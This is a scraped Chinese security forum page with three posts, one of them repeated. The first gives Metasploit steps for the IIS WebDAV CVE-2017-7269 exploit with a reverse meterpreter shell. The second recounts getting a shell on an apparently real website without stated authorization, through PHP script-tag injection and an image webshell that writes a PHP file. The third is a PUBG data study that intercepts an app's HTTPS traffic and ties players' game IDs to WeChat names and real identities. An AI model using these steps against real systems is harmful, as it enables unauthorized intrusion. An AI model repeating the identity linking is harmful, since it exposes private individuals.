输入use命令,use exploit/windows/iis/cve-2017-7269

6.png

使用命令show options

7.png

 
  1. 设置目标机ip,set RHOST 192.168.1.175
  2. 设置对面网站,set HttpHost 192.168.1.175
  3. 设置返回载荷,set payload windows/meterpreter/reverse_tcp
  4. 设置攻击机ip,set LHOST 192.168.1.144
  5. 进行溢出,exploit


8.png

 
输入shell命令,来到了我们所熟悉的界面

9.png

执行命令whoami

10.png

 
0x03 修复意见
2015年7月15日,微软已停止对Windows Server 2003的支持,所以官方没有相关解决方案,建议用户升级到最新系统 Windows Server 2016。如果不进行升级的话,请直接关闭WebDAV服务防止漏洞被利用。

[转]后台拿shell过程

渗透实战分享你可以叫我风平 发表了文章 • 0 个评论 • 125 次浏览 • 2019-04-19 20:25 • 来自相关话题

0x01   测试开始
        首先,后台界面是这样子滴





        我先去云悉对这个站做了一些简单识别,得到结果如下图





        大致猜测是由Linux + Apache + Mysql + Php搭配的。但是Apache没给我显示他的版本,不知道是否存在解析漏洞。于是回到了后台,去研究他的上传文件的功能。
        他的这个系统很多地方存在上传点,下图就是一个上传点





        他这里可以支持压缩包的格式并且自解压,于是我就想到将木马放到压缩包内然后上传这个压缩包,使其自解压,将木马成功上传到服务器。然后操作结束后,的确是上传成功了。然而人生就是那么大起大落,并没有成功的拿下shell,为毛呢,请看下面
        首先正常上传





        然后查看上传后的文件





        给我加了个txt.... 心想加了个txt就算了,我打开试试看能不能正常访问





        还是个403拒绝访问。于是我又测试了几个后缀的文件名,发现pdf和jpg等文档和图片类型是可以正常上传并且进行访问(pdf访问会自动下载)
 




        不要在意打码的内容,他的确是可以访问并且显示了代码。。只要脚本文件他就会自动在后面加上txt,于是放弃上传压缩包的方法,直接硬干上传点,试试看能不能运气爆棚碰巧就是一个解析漏洞.... 然后fuzz了许久,还是不行(就不写上传的过程了,没成功写了浪费时间~~)
        看样子他的上传是做了处理了,只能换思路了
 




        他这里支持自定义html,用来做搜索引擎优化,于是可以试着写入php代码来获取shell,补充一下php的几种定义写法
1.<? echo 1; ?>
2.<?php echo 2; ?>
3. <script language="php"> echo 3; </script>        第三种写法的标签是不是很熟悉。他不就是html中定义js代码的标签嘛~,那么可以试着用这段代码去试试,看能否被正常写入进去。
        然后我就在自定义代码去写上了下面的代码,保存进去
<script language="php"> phpinfo();</script>        然后打开网站的首页





        发现还是原网页,没有丁点的改变...... 。这个时候查看一下源代码





        的的确确的代码是被写进去了,那么刷新一下试试





        ok,是正常的,然后执行phpinfo的代码也已经不见了,已经当作php执行了





        那么这个时候,构造一下一句话木马,然后进行连接操作。





 
0x02   文件包含getshell
        在前面有说到,他这个站有许多上传点,我随便找了一个上传点,上传了一个图片格式的大马,大马的代码如下:
<?php$test='大马代码';//访问这个文件大马的代码将被写入网站的根目录
2.php下 (路径phpinfo得到)file_put_contents("/home/www/webdata/epage/2.php",
$test);        然后通过一样的步骤用下面的代码
<script language="php">include '../ezfiles/2/1002/img/92/123.jpg';
//上传的图片地址</script>        然后点击修改进行保存,在回到网页去刷新,然后在域名后面加上2.php去测试是否成功生成了这个文件成功getshell~ 
  查看全部
0x01   测试开始
        首先,后台界面是这样子滴

1.jpg

        我先去云悉对这个站做了一些简单识别,得到结果如下图

2.jpg

        大致猜测是由Linux + Apache + Mysql + Php搭配的。但是Apache没给我显示他的版本,不知道是否存在解析漏洞。于是回到了后台,去研究他的上传文件的功能。
        他的这个系统很多地方存在上传点,下图就是一个上传点

3.jpg

        他这里可以支持压缩包的格式并且自解压,于是我就想到将木马放到压缩包内然后上传这个压缩包,使其自解压,将木马成功上传到服务器。然后操作结束后,的确是上传成功了。然而人生就是那么大起大落,并没有成功的拿下shell,为毛呢,请看下面
        首先正常上传

4.jpg

        然后查看上传后的文件

5.jpg

        给我加了个txt.... 心想加了个txt就算了,我打开试试看能不能正常访问

6.jpg

        还是个403拒绝访问。于是我又测试了几个后缀的文件名,发现pdf和jpg等文档和图片类型是可以正常上传并且进行访问(pdf访问会自动下载)
 
7.jpg

        不要在意打码的内容,他的确是可以访问并且显示了代码。。只要脚本文件他就会自动在后面加上txt,于是放弃上传压缩包的方法,直接硬干上传点,试试看能不能运气爆棚碰巧就是一个解析漏洞.... 然后fuzz了许久,还是不行(就不写上传的过程了,没成功写了浪费时间~~)
        看样子他的上传是做了处理了,只能换思路了
 
8.jpg

        他这里支持自定义html,用来做搜索引擎优化,于是可以试着写入php代码来获取shell,补充一下php的几种定义写法
1.<? echo 1; ?> 
2.<?php echo 2; ?>
3. <script language="php"> echo 3; </script>
        第三种写法的标签是不是很熟悉。他不就是html中定义js代码的标签嘛~,那么可以试着用这段代码去试试,看能否被正常写入进去。
        然后我就在自定义代码去写上了下面的代码,保存进去
<script language="php"> phpinfo();</script>
        然后打开网站的首页

9.jpg

        发现还是原网页,没有丁点的改变...... 。这个时候查看一下源代码

10.jpg

        的的确确的代码是被写进去了,那么刷新一下试试

11.jpg

        ok,是正常的,然后执行phpinfo的代码也已经不见了,已经当作php执行了

12.jpg

        那么这个时候,构造一下一句话木马,然后进行连接操作。

13.png

 
0x02   文件包含getshell
        在前面有说到,他这个站有许多上传点,我随便找了一个上传点,上传了一个图片格式的大马,大马的代码如下:
<?php$test='大马代码';//访问这个文件大马的代码将被写入网站的根目录
2.php下 (路径phpinfo得到)file_put_contents("/home/www/webdata/epage/2.php",
$test);
        然后通过一样的步骤用下面的代码
<script language="php">include '../ezfiles/2/1002/img/92/123.jpg';
//上传的图片地址</script>
        然后点击修改进行保存,在回到网页去刷新,然后在域名后面加上2.php去测试是否成功生成了这个文件成功getshell~ 
 

数据分析与可视化:谁是安全圈的吃鸡第一人

Web安全渗透fireant 发表了文章 • 0 个评论 • 110 次浏览 • 2019-04-19 09:39 • 来自相关话题

*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。


注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 


0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:


1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。


动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...
 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 # -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render() 
 
得到:

 
俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。


社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。



 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:


1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害


笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:


1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长


爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:


KD:8.4
伤害:1099.57


是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:


KD:3.7
伤害:461.18


排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:


Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436


通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。 查看全部
*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。



注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 



0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:



1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。



动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 
def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...

 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 
# -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render()
 
 
得到:

 
俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。



社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。




 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
